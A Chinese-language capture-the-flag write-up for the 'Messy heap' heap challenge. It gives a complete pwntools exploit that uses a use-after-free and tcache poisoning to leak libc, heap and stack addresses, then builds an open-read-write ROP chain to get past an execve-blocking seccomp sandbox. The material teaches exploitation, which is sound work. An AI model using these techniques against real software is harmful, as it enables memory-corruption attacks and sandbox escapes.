[2025 黑龙江省赛]Messy heap

非常友好的堆题,uaf 直接用,libc 和 heap 地址随便拿,但是故意搞了个沙箱,不能使用 execve 只能打 orw.

由于 orw 需要较长的执行链,所以一般打 ROP 会比较方便。打 ROP 就要获取栈地址,这个在获得 libc 地址后可以通过 leak environ 变量中的内容实现。

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL
$ strings ./libc.so.6| grep "GNU"
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.16) stable release version 2.31.
Compiled by GNU CC version 9.4.0.
from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./pwn')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

local = 1
if local == 1:
    io = process('./pwn')
    # gdb.attach(io, "b *$rebase(0x14d7)")
    gdb.attach(io)
else:
    io = remote("", )

def cmd(choice):
    io.sendlineafter(b'> \n', str(choice).encode())

def add(idx, size, content):
    cmd(1)
    io.sendlineafter(b'yours Index: \n', str(size).encode())
    io.sendlineafter(b'yours Size: \n', str(idx).encode())
    io.sendafter(b'yours Content: \n', content)

def delete(idx):
    cmd(2)
    io.sendlineafter(b'yours Index: \n', str(idx).encode())

def show(idx):
    cmd(4)
    io.sendlineafter(b'yours Index: ', str(idx).encode())

def edit(idx, content):
    cmd(3)
    io.sendlineafter(b'yours Index: \n', str(idx).encode())
    io.sendafter(b'yours Content: \n', content)

def pwn():
    # leak libc
    for i in range(7):
        add(0x80, 15-i, b'a') # 9, 10, 11, 12, 13, 14, 15

    add(0x80, 0, b'a')
    add(0x80, 1, b'/flag') # 1 作隔离用,否则直接 free 0 会和 top chunk 合并
    # add(0x80, 1, b'b')
    # add(0x80, 8, b'd')
    for i in range(7):
        delete(15-i) # 申请完 tcache

    # delete(1)
    # pause()
    delete(0) # fastbin 最大 0x80, 这个 chunk 是 0x90,进入 unsorted bin
    show(0)
    io.recvline()
    leak = io.recvline()[:6]
    libc_base = u64(leak.ljust(8, b'\x00')) - 0x1ecbe0
    print(f"libcbase:{hex(libc_base)}")

    # leak heap
    add(0x60, 2, b'a')
    delete(2)
    show(2)
    io.recvline()
    leak = io.recvline()[:6]
    heap_base = u64(leak.ljust(8, b'\x00')) - 0xba0
    print(f"heapbase:{hex(heap_base)}")

    # leak stack
    environ = libc_base + 0x1ef600 # 已知 libc 基地址,需要获得栈地址,就要想到 leak environ 的内容

    edit(2, p64(environ))
    add(0x60, 3, b'a')
    add(0x60, 4, b'\x00')
    show(4)
    io.recvline()
    leak = io.recvline()[:6]
    stack_addr = u64(leak.ljust(8, b'\x00')) - 0x118
    print(f"stack_addr:{hex(stack_addr)}")

    # ROP
    # 0x0000000000023b6a : pop rdi ; ret
    # 0x000000000002601f : pop rsi ; ret
    # 0x0000000000119431 : pop rdx ; pop r12 ; ret
    pop_rdi = libc_base + 0x0000000000023b6a
    pop_rsi = libc_base + 0x000000000002601f
    pop_rdx_r12 = libc_base + 0x0000000000119431
    flag_str = heap_base + 0x1430
    payload = flat(
        pop_rdi, flag_str,
        pop_rsi, 0,
        libc_base + libc.sym['open'],
        pop_rdi, 3,
        pop_rsi, flag_str + 0x10,
        pop_rdx_r12, 0x50, 0,
        libc_base + libc.sym['read'],
        pop_rdi, flag_str + 0x10,
        libc_base + libc.sym['puts'],
    )

    add(0x88, 5, b'a')
    delete(5)
    edit(5, p64(stack_addr))
    add(0x88, 6, b'a')
    pause()
    add(0x88, 7, payload)

    io.interactive()

pwn()
上一篇
下一篇